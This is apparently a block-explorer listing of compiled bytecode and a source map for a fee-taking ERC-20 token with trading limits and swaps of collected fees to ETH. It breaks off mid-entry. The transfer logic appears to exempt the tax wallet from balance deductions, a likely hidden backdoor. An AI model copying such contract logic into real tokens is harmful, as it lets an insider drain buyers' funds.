0160405180910390a1565b5f546001600160a01b031633146107ac5760405162461bcd60e51b81526004016103e190611790565b601454600160a01b900460ff16156108065760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e1565b6013546001600160a01b031663f305d7194730610837816001600160a01b03165f9081526001602052604090205490565b5f8061084a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108b0573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108d591906118f9565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561092a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094e9190611924565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109915760405162461bcd60e51b81526004016103e190611790565b61099a4761102a565b565b5f6105cb338484610acc565b6001600160a01b038316610a0a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e1565b6001600160a01b038216610a6b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b305760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e1565b6001600160a01b038216610b925760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e1565b5f8111610bf35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e1565b601454600160b01b900460ff161580610c155750601454600160a81b900460ff165b15610cbf576001600160a01b0383165f90815260016020526040902054610c3d908290611943565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c6c908290611956565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610abf9085815260200190565b5f546001600160a01b03848116911614801590610ce957505f546001600160a01b03838116911614155b15610fe25760065460ff1615610dd1576013546001600160a01b03838116911614801590610d2557506014546001600160a01b03838116911614155b15610dd157325f908152600560205260409020544311610dbf5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016103e1565b325f9081526005602052604090204390555b6014546001600160a01b038481169116148015610dfc57506013546001600160a01b03838116911614155b8015610e2057506001600160a01b0382165f9081526003602052604090205460ff16155b15610f0657600f54811115610e775760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103e1565b60105481610e99846001600160a01b03165f9081526001602052604090205490565b610ea39190611956565b1115610ef15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e1565b600e8054905f610f0083611969565b91905055505b305f90815260016020526040902054601454600160a81b900460ff16158015610f3c57506014546001600160a01b038481169116145b8015610f515750601454600160b01b900460ff165b8015610f605750600d54600e54115b8015610f8457506001600160a01b0384165f9081526003602052604090205460ff16155b8015610fa857506001600160a01b0383165f9081526003602052604090205460ff16155b15610fe057601154811115610fd457610fd4610fcf83610fca84601254611069565b611069565b611080565b47610fde4761102a565b505b505b610fed8383836111f0565b505050565b5f81848411156110155760405162461bcd60e51b81526004016103e1919061168a565b505f6110218486611943565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015611065573d5f803e3d5ffd5b5050565b5f8183116110775782611079565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110c6576110c6611981565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561111d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061114191906118de565b8160018151811061115457611154611981565b6001600160a01b03928316602091820292909201015260135461117a91309116846109a8565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b29085905f90869030904290600401611995565b5f604051808303815f87803b1580156111c9575f80fd5b505af11580156111db573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f61121d6064611217600b54600e541161120c57600754611210565b6009545b85906114e2565b90611560565b6014549091506001600160a01b03848116911614801561124657506001600160a01b0384163014155b15611273576112706064611217600c54600e541161126657600854611210565b600a5485906114e2565b90505b61127b61166c565b6001600160a01b03808616825284166020820152811561130757305f908152600160205260409020546112ae90836115a1565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112fe9086815260200190565b60405180910390a35b5f5b60028110156114da57805f036113de5760065461010090046001600160a01b031682826002811061133c5761133c611981565b60200201516001600160a01b0316146113d95761139b8460015f85856002811061136857611368611981565b60200201516001600160a01b03166001600160a01b031681526020019081526020015f20546115ff90919063ffffffff16565b60015f8484600281106113b0576113b0611981565b60200201516001600160a01b03166001600160a01b031681526020019081526020015f20819055505b6114d2565b806001036114d25761143b6113f385856115ff565b60015f85856002811061140857611408611981565b60200201516001600160a01b03166001600160a01b031681526020019081526020015f20546115a190919063ffffffff16565b60015f84846002811061145057611450611981565b60200201516001600160a01b03166001600160a01b031681526020019081526020015f2081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114c086886115ff90919063ffffffff16565b60405190815260200160405180910390a35b600101611309565b505050505050565b5f825f036114f157505f6105cf565b5f6114fc83856118c7565b9050826115098583611a06565b146110795760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e1565b5f61107983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611640565b5f806115ad8385611956565b9050838110156110795760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e1565b5f61107983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff2565b5f81836116605760405162461bcd60e51b81526004016103e1919061168a565b505f6110218486611a06565b60405180604001604052806002906020820280368337509192915050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146116d3575f80fd5b50565b5f80604083850312156116e7575f80fd5b82356116f2816116bf565b946020939093013593505050565b5f805f60608486031215611712575f80fd5b833561171d816116bf565b9250602084013561172d816116bf565b929592945050506040919091013590565b5f6020828403121561174e575f80fd5b8135611079816116bf565b5f806040838503121561176a575f80fd5b8235611775816116bf565b91506020830135611785816116bf565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561181357815f19048211156117f9576117f96117c5565b8085161561180657918102915b93841c93908002906117de565b509250929050565b5f82611829575060016105cf565b8161183557505f6105cf565b816001811461184b576002811461185557611871565b60019150506105cf565b60ff841115611866576118666117c5565b50506001821b6105cf565b5060208310610133831016604e8410600b8410161715611894575081810a6105cf565b61189e83836117d9565b805f19048211156118b1576118b16117c5565b029392505050565b5f61107960ff84168361181b565b80820281158282048414176105cf576105cf6117c5565b5f602082840312156118ee575f80fd5b8151611079816116bf565b5f805f6060848603121561190b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611934575f80fd5b81518015158114611079575f80fd5b818103818111156105cf576105cf6117c5565b808201808211156105cf576105cf6117c5565b5f6001820161197a5761197a6117c5565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119e55784516001600160a01b0316835293830193918301916001016119c0565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a2057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122057e5fe8558e0596ddc273274fa9d66715664291427bd4a578bfdb50807cb948864736f6c63430008190033
Deployed Bytecode Sourcemap
3830:9578:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5813:394;;;;;;;;;;;;;:::i;:::-;;6215:83;;;;;;;;;;-1:-1:-1;6285:5:0;;;;;;;;;;;;-1:-1:-1;;;6285:5:0;;;;6215:83;;;;;;;:::i;:::-;;;;;;;;7096:186;;;;;;;;;;-1:-1:-1;7096:186:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;7096:186:0;893:187:1;5054:55:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;5054:55:0;1085:177:1;6492:95:0;;;;;;;;;;;;;:::i;9378:446::-;;;;;;;;;;-1:-1:-1;9378:446:0;;;;;:::i;:::-;;:::i;6401:83::-;;;;;;;;;;-1:-1:-1;6401:83:0;;4669:1;1870:36:1;;1858:2;1843:18;6401:83:0;1728:184:1;6595:117:0;;;;;;;;;;-1:-1:-1;6595:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6688:16:0;6661:7;6688:16;;;:7;:16;;;;;;;6595:117;3012:148;;;;;;;;;;;;;:::i;8964:201::-;;;;;;;;;;;;;:::i;4863:56::-;;;;;;;;;;;;;;;;12910:495;;;;;;;;;;;;;:::i;2798:79::-;;;;;;;;;;-1:-1:-1;2836:7:0;2863:6;2798:79;;-1:-1:-1;;;;;2863:6:0;;;2315:51:1;;2303:2;2288:18;2798:79:0;2169:203:1;4926:58:0;;;;;;;;;;;;;;;;6306:87;;;;;;;;;;-1:-1:-1;6378:7:0;;;;;;;;;;;;-1:-1:-1;;;6378:7:0;;;;6306:87;;9274:96;;;;;;;;;;;;;:::i;6720:192::-;;;;;;;;;;-1:-1:-1;6720:192:0;;;;;:::i;:::-;;:::i;4991:56::-;;;;;;;;;;;;;;;;4208:40;;;;;;;;;;-1:-1:-1;4208:40:0;;;;;;;;6920:168;;;;;;;;;;-1:-1:-1;6920:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7053:18:0;;;7026:7;7053:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6920:168;5813:394;2925:6;;-1:-1:-1;;;;;2925:6:0;274:10;2925:22;2917:67;;;;-1:-1:-1;;;2917:67:0;;;;;;;:::i;:::-;;;;;;;;;5868:15:::1;:104:::0;;-1:-1:-1;;;;;;5868:104:0::1;5919:42;5868:104:::0;;::::1;::::0;;;5983:58:::1;::::0;6000:4:::1;::::0;4725:15:::1;4669:1;4725:2;:15;:::i;:::-;4712:28;::::0;:10:::1;:28;:::i;:::-;5983:8;:58::i;:::-;6086:15;;;;;;;;;-1:-1:-1::0;;;;;6086:15:0::1;-1:-1:-1::0;;;;;6086:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6068:55:0::1;;6146:4;6166:15;;;;;;;;;-1:-1:-1::0;;;;;6166:15:0::1;-1:-1:-1::0;;;;;6166:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6068:131;::::0;-1:-1:-1;;;;;;6068:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5299:15:1;;;6068:131:0::1;::::0;::::1;5281:34:1::0;5351:15;;5331:18;;;5324:43;5216:18;;6068:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6052:13;:147:::0;;-1:-1:-1;;;;;;6052:147:0::1;-1:-1:-1::0;;;;;6052:147:0;;;::::1;::::0;;;::::1;::::0;;5813:394::o;7096:186::-;7196:4;7213:39;274:10;7236:7;7245:6;7213:8;:39::i;:::-;-1:-1:-1;7270:4:0;7096:186;;;;;:::o;6492:95::-;6545:7;4725:15;4669:1;4725:2;:15;:::i;:::-;4712:28;;:10;:28;:::i;:::-;6565:14;;6492:95;:::o;9378:446::-;9510:4;9527:36;9537:6;9545:9;9556:6;9527:9;:36::i;:::-;9574:220;9597:6;274:10;9645:138;9701:6;9645:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9645:19:0;;;;;;:11;:19;;;;;;;;274:10;9645:33;;;;;;;;;;:37;:138::i;9574:220::-;-1:-1:-1;9812:4:0;9378:446;;;;;:::o;3012:148::-;2925:6;;-1:-1:-1;;;;;2925:6:0;274:10;2925:22;2917:67;;;;-1:-1:-1;;;2917:67:0;;;;;;;:::i;:::-;3119:1:::1;3103:6:::0;;3082:40:::1;::::0;-1:-1:-1;;;;;3103:6:0;;::::1;::::0;3082:40:::1;::::0;3119:1;;3082:40:::1;3150:1;3133:19:::0;;-1:-1:-1;;;;;;3133:19:0::1;::::0;;3012:148::o;8964:201::-;2925:6;;-1:-1:-1;;;;;2925:6:0;274:10;2925:22;2917:67;;;;-1:-1:-1;;;2917:67:0;;;;;;;:::i;:::-;4725:15:::1;4669:1;4725:2;:15;:::i;:::-;4712:28;::::0;:10:::1;:28;:::i;:::-;9018:12;:22:::0;4725:15:::1;4669:1;4725:2;:15;:::i;:::-;4712:28;::::0;:10:::1;:28;:::i;:::-;9051:14;:24:::0;9086:20:::1;:28:::0;;-1:-1:-1;;9086:28:0::1;::::0;;9130:27:::1;4725:15;4669:1;-1:-1:-1::0;4725:15:0::1;:::i;:::-;4712:28;::::0;:10:::1;:28;:::i;:::-;9130:27;::::0;1231:25:1;;;1219:2;1204:18;9130:27:0::1;;;;;;;8964:201::o:0;12910:495::-;2925:6;;-1:-1:-1;;;;;2925:6:0;274:10;2925:22;2917:67;;;;-1:-1:-1;;;2917:67:0;;;;;;;:::i;:::-;12974:11:::1;::::0;-1:-1:-1;;;12974:11:0;::::1;;;12973:12;12965:48;;;::::0;-1:-1:-1;;;12965:48:0;;5580:2:1;12965:48:0::1;::::0;::::1;5562:21:1::0;5619:2;5599:18;;;5592:30;5658:25;5638:18;;;5631:53;5701:18;;12965:48:0::1;5378:347:1::0;12965:48:0::1;13034:15;::::0;-1:-1:-1;;;;;13034:15:0::1;:31;13073:21;13118:4;13138:24;13118:4:::0;-1:-1:-1;;;;;6688:16:0;6661:7;6688:16;;;:7;:16;;;;;;;6595:117;13138:24:::1;13177:1;13193::::0;13209:7:::1;2836::::0;2863:6;-1:-1:-1;;;;;2863:6:0;;2798:79;13209:7:::1;13034:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13034:223:0;;;-1:-1:-1;;;;;6089:15:1;;;13034:223:0::1;::::0;::::1;6071:34:1::0;6121:18;;;6114:34;;;;6164:18;;;6157:34;;;;6207:18;;;6200:34;6271:15;;;6250:19;;;6243:44;13231:15:0::1;6303:19:1::0;;;6296:35;6005:19;;13034:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13275:13:0::1;::::0;13306:15:::1;::::0;13268:71:::1;::::0;-1:-1:-1;;;13268:71:0;;-1:-1:-1;;;;;13306:15:0;;::::1;13268:71;::::0;::::1;6827:51:1::0;-1:-1:-1;;6894:18:1;;;6887:34;13275:13:0;::::1;::::0;-1:-1:-1;13268:29:0::1;::::0;6800:18:1;;13268:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13350:11:0::1;:18:::0;;-1:-1:-1;;;;13379:18:0;-1:-1:-1;;;13379:18:0;;;12910:495::o;9274:96::-;2925:6;;-1:-1:-1;;;;;2925:6:0;274:10;2925:22;2917:67;;;;-1:-1:-1;;;2917:67:0;;;;;;;:::i;:::-;9327:35:::1;9340:21;9327:12;:35::i;:::-;9274:96::o:0;6720:192::-;6823:4;6840:42;274:10;6864:9;6875:6;6840:9;:42::i;7290:335::-;-1:-1:-1;;;;;7383:19:0;;7375:68;;;;-1:-1:-1;;;7375:68:0;;7416:2:1;7375:68:0;;;7398:21:1;7455:2;7435:18;;;7428:30;7494:34;7474:18;;;7467:62;-1:-1:-1;;;7545:18:1;;;7538:34;7589:19;;7375:68:0;7214:400:1;7375:68:0;-1:-1:-1;;;;;7462:21:0;;7454:68;;;;-1:-1:-1;;;7454:68:0;;7821:2:1;7454:68:0;;;7803:21:1;7860:2;7840:18;;;7833:30;7899:34;7879:18;;;7872:62;-1:-1:-1;;;7950:18:1;;;7943:32;7992:19;;7454:68:0;7619:398:1;7454:68:0;-1:-1:-1;;;;;7533:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7585:32;;1231:25:1;;;7585:32:0;;1204:18:1;7585:32:0;;;;;;;;7290:335;;;:::o;9832:2427::-;-1:-1:-1;;;;;9920:18:0;;9912:68;;;;-1:-1:-1;;;9912:68:0;;8224:2:1;9912:68:0;;;8206:21:1;8263:2;8243:18;;;8236:30;8302:34;8282:18;;;8275:62;-1:-1:-1;;;8353:18:1;;;8346:35;8398:19;;9912:68:0;8022:401:1;9912:68:0;-1:-1:-1;;;;;9999:16:0;;9991:64;;;;-1:-1:-1;;;9991:64:0;;8630:2:1;9991:64:0;;;8612:21:1;8669:2;8649:18;;;8642:30;8708:34;8688:18;;;8681:62;-1:-1:-1;;;8759:18:1;;;8752:33;8802:19;;9991:64:0;8428:399:1;9991:64:0;10083:1;10074:6;:10;10066:64;;;;-1:-1:-1;;;10066:64:0;;9034:2:1;10066:64:0;;;9016:21:1;9073:2;9053:18;;;9046:30;9112:34;9092:18;;;9085:62;-1:-1:-1;;;9163:18:1;;;9156:39;9212:19;;10066:64:0;8832:405:1;10066:64:0;10156:11;;-1:-1:-1;;;10156:11:0;;;;10155:12;;:22;;-1:-1:-1;10171:6:0;;-1:-1:-1;;;10171:6:0;;;;10155:22;10151:209;;;-1:-1:-1;;;;;10210:13:0;;;;;;:7;:13;;;;;;:22;;10226:6;;10210:22;:::i;:::-;-1:-1:-1;;;;;10194:13:0;;;;;;;:7;:13;;;;;;:38;;;;10261:11;;;;;;;:20;;10275:6;;10261:20;:::i;:::-;-1:-1:-1;;;;;10247:11:0;;;;;;;:7;:11;;;;;;;:34;;;;10301:26;;;;;;;;;;10320:6;1231:25:1;;1219:2;1204:18;;1085:177;10151:209:0;2836:7;2863:6;-1:-1:-1;;;;;10376:15:0;;;2863:6;;10376:15;;;;:32;;-1:-1:-1;2836:7:0;2863:6;-1:-1:-1;;;;;10395:13:0;;;2863:6;;10395:13;;10376:32;10372:1835;;;10429:20;;;;10425:522;;;10510:15;;-1:-1:-1;;;;;10496:30:0;;;10510:15;;10496:30;;;;:83;;-1:-1:-1;10565:13:0;;-1:-1:-1;;;;;10551:28:0;;;10565:13;;10551:28;;10496:83;10470:462;;;10685:9;10656:39;;;;:28;:39;;;;;;10698:12;-1:-1:-1;10622:213:0;;;;-1:-1:-1;;;10622:213:0;;9707:2:1;10622:213:0;;;9689:21:1;9746:2;9726:18;;;9719:30;9785:34;9765:18;;;9758:62;9856:34;9836:18;;;9829:62;-1:-1:-1;;;9907:19:1;;;9900:40;9957:19;;10622:213:0;9505:477:1;10622:213:0;10887:9;10858:39;;;;:28;:39;;;;;10900:12;10858:54;;10470:462;10993:13;;-1:-1:-1;;;;;10985:21:0;;;10993:13;;10985:21;:72;;;;-1:-1:-1;11041:15:0;;-1:-1:-1;;;;;11027:30:0;;;11041:15;;11027:30;;10985:72;:116;;;;-1:-1:-1;;;;;;11079:22:0;;;;;;:18;:22;;;;;;;;11078:23;10985:116;10963:438;;;11154:12;;11144:6;:22;;11136:60;;;;-1:-1:-1;;;11136:60:0;;10189:2:1;11136:60:0;;;10171:21:1;10228:2;10208:18;;;10201:30;10267:27;10247:18;;;10240:55;10312:18;;11136:60:0;9987:349:1;11136:60:0;11271:14;;11261:6;11245:13;11255:2;-1:-1:-1;;;;;6688:16:0;6661:7;6688:16;;;:7;:16;;;;;;;6595:117;11245:13;:22;;;;:::i;:::-;:40;;11215:140;;;;-1:-1:-1;;;11215:140:0;;10543:2:1;11215:140:0;;;10525:21:1;10582:2;10562:18;;;10555:30;10621:28;10601:18;;;10594:56;10667:18;;11215:140:0;10341:350:1;11215:140:0;11374:9;:11;;;:9;:11;;;:::i;:::-;;;;;;10963:438;11466:4;11417:28;6688:16;;;:7;:16;;;;;;11510:6;;-1:-1:-1;;;11510:6:0;;;;11509:7;:47;;;;-1:-1:-1;11543:13:0;;-1:-1:-1;;;;;11537:19:0;;;11543:13;;11537:19;11509:47;:79;;;;-1:-1:-1;11577:11:0;;-1:-1:-1;;;11577:11:0;;;;11509:79;:130;;;;;11621:18;;11609:9;;:30;11509:130;:176;;;;-1:-1:-1;;;;;;11661:24:0;;;;;;:18;:24;;;;;;;;11660:25;11509:176;:220;;;;-1:-1:-1;;;;;;11707:22:0;;;;;;:18;:22;;;;;;;;11706:23;11509:220;11487:709;;;11790:17;;11767:20;:40;11764:205;;;11832:117;11875:51;11879:6;11887:38;11891:20;11913:11;;11887:3;:38::i;:::-;11875:3;:51::i;:::-;11832:16;:117::i;:::-;12034:21;12126:35;12139:21;12126:12;:35::i;:::-;11745:451;11487:709;10410:1797;10372:1835;12219:32;12234:4;12240:2;12244:6;12219:14;:32::i;:::-;9832:2427;;;:::o;1449:224::-;1569:7;1605:12;1597:6;;;;1589:29;;;;-1:-1:-1;;;1589:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1629:9:0;1641:5;1645:1;1641;:5;:::i;:::-;1629:17;1449:224;-1:-1:-1;;;;;1449:224:0:o;9173:93::-;9230:11;;:28;;:11;;;;-1:-1:-1;;;;;9230:11:0;;:28;;;;;;;;;;;;:11;:28;;;;;;;;;;;;;;;;;;;;;9173:93;:::o;12267:107::-;12324:7;12356:1;12352;:5;12351:15;;12365:1;12351:15;;;12361:1;12351:15;12344:22;12267:107;-1:-1:-1;;;12267:107:0:o;12382:483::-;5393:6;:13;;-1:-1:-1;;;;5393:13:0;-1:-1:-1;;;5393:13:0;;;12484:16:::1;::::0;;12498:1:::1;12484:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12484:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12484:16:0::1;12460:40;;12529:4;12511;12516:1;12511:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12511:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12555:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12555:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12511:7;;12555:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12545:4;12550:1;12545:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12545:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12620:15:::1;::::0;12588:62:::1;::::0;12605:4:::1;::::0;12620:15:::1;12638:11:::0;12588:8:::1;:62::i;:::-;12661:15;::::0;:196:::1;::::0;-1:-1:-1;;;12661:196:0;;-1:-1:-1;;;;;12661:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12742:11;;12661:15:::1;::::0;12784:4;;12811::::1;::::0;12831:15:::1;::::0;12661:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5429:6:0;:14;;-1:-1:-1;;;;5429:14:0;;;-1:-1:-1;;;;12382:483:0:o;7633:1323::-;7719:17;7739:160;7895:3;7739:141;7787:15;;7775:9;;:27;7774:95;;7855:14;;7774:95;;;7823:12;;7774:95;7739:6;;:20;:141::i;:::-;:155;;:160::i;:::-;7920:13;;7719:180;;-1:-1:-1;;;;;;7914:19:0;;;7920:13;;7914:19;:44;;;;-1:-1:-1;;;;;;7937:21:0;;7953:4;7937:21;;7914:44;7910:300;;;7987:211;8194:3;7987:184;8051:16;;8039:9;;:28;8038:114;;8137:15;;8038:114;;;8096:13;;7987:6;;:28;:184::i;:211::-;7975:223;;7910:300;8220:25;;:::i;:::-;-1:-1:-1;;;;;8256:17:0;;;;;8284:15;;8256:10;8284;;:15;8324:13;;8320:200;;8395:4;8379:22;;;;:7;:22;;;;;;:69;;8424:9;8379:26;:69::i;:::-;8370:4;8354:22;;;;:7;:22;;;;;;;:94;;;;8468:40;;-1:-1:-1;;;;;8468:40:0;;;;;;;8498:9;1231:25:1;;1219:2;1204:18;;1085:177;8468:40:0;;;;;;;;8320:200;8536:6;8532:417;8552:14;8548:1;:18;8532:417;;;8590:1;8595;8590:6;8587:351;;8631:11;;;;;-1:-1:-1;;;;;8631:11:0;8619:7;8627:1;8619:10;;;;;;;:::i;:::-;;;;;-1:-1:-1;;;;;8619:23:0;;8616:123;;8688:31;8712:6;8688:7;:19;8696:7;8704:1;8696:10;;;;;;;:::i;:::-;;;;;-1:-1:-1;;;;;8688:19:0;-1:-1:-1;;;;;8688:19:0;;;;;;;;;;;;;:23;;:31;;;;:::i;:::-;8666:7;:19;8674:7;8682:1;8674:10;;;;;;;:::i;:::-;;;;;-1:-1:-1;;;;;8666:19:0;-1:-1:-1;;;;;8666:19:0;;;;;;;;;;;;:53;;;;8616:123;8587:351;;;8762:1;8767;8762:6;8759:179;;8810:46;8834:21;:6;8845:9;8834:10;:21::i;:::-;8810:7;:19;8818:7;8826:1;8818:10;;;;;;;:::i;:::-;;;;;-1:-1:-1;;;;;8810:19:0;-1:-1:-1;;;;;8810:19:0;;;;;;;;;;;;;:23;;:46;;;;:::i;:::-;8788:7;:19;8796:7;8804:1;8796:10;;;;;;;:::i;:::-;;;;;-1:-1:-1;;;;;8788:19:0;-1:-1:-1;;;;;8788:19:0;;;;;;;;;;;;:68;;;;8896:2;-1:-1:-1;;;;;8881:41:0;8890:4;-1:-1:-1;;;;;8881:41:0;;8900:21;8911:9;8900:6;:10;;:21;;;;:::i;:::-;8881:41;;1231:25:1;;;1219:2;1204:18;8881:41:0;;;;;;;8759:179;8568:3;;8532:417;;;;7708:1248;;7633:1323;;;:::o;1681:246::-;1739:7;1763:1;1768;1763:6;1759:47;;-1:-1:-1;1793:1:0;1786:8;;1759:47;1816:9;1828:5;1832:1;1828;:5;:::i;:::-;1816:17;-1:-1:-1;1861:1:0;1852:5;1856:1;1816:17;1852:5;:::i;:::-;:10;1844:56;;;;-1:-1:-1;;;1844:56:0;;12509:2:1;1844:56:0;;;12491:21:1;12548:2;12528:18;;;12521:30;12587:34;12567:18;;;12560:62;-1:-1:-1;;;12638:18:1;;;12631:31;12679:19;;1844:56:0;12307:397:1;1935:132:0;1993:7;2020:39;2024:1;2027;2020:39;;;;;;;;;;;;;;;;;:3;:39::i;1118:179::-;1176:7;;1208:5;1212:1;1208;:5;:::i;:::-;1196:17;;1237:1;1232;:6;;1224:46;;;;-1:-1:-1;;;1224:46:0;;12911:2:1;1224:46:0;;;12893:21:1;12950:2;12930:18;;;12923:30;12989:29;12969:18;;;12962:57;13036:18;;1224:46:0;12709:351:1;1305:136:0;1363:7;1390:43;1394:1;1397;1390:43;;;;;;;;;;;;;;;;;:3;:43::i;2075:223::-;2195:7;2230:12;2223:5;2215:28;;;;-1:-1:-1;;;2215:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2254:9:0;2266:5;2270:1;2266;:5;:::i;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:315::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561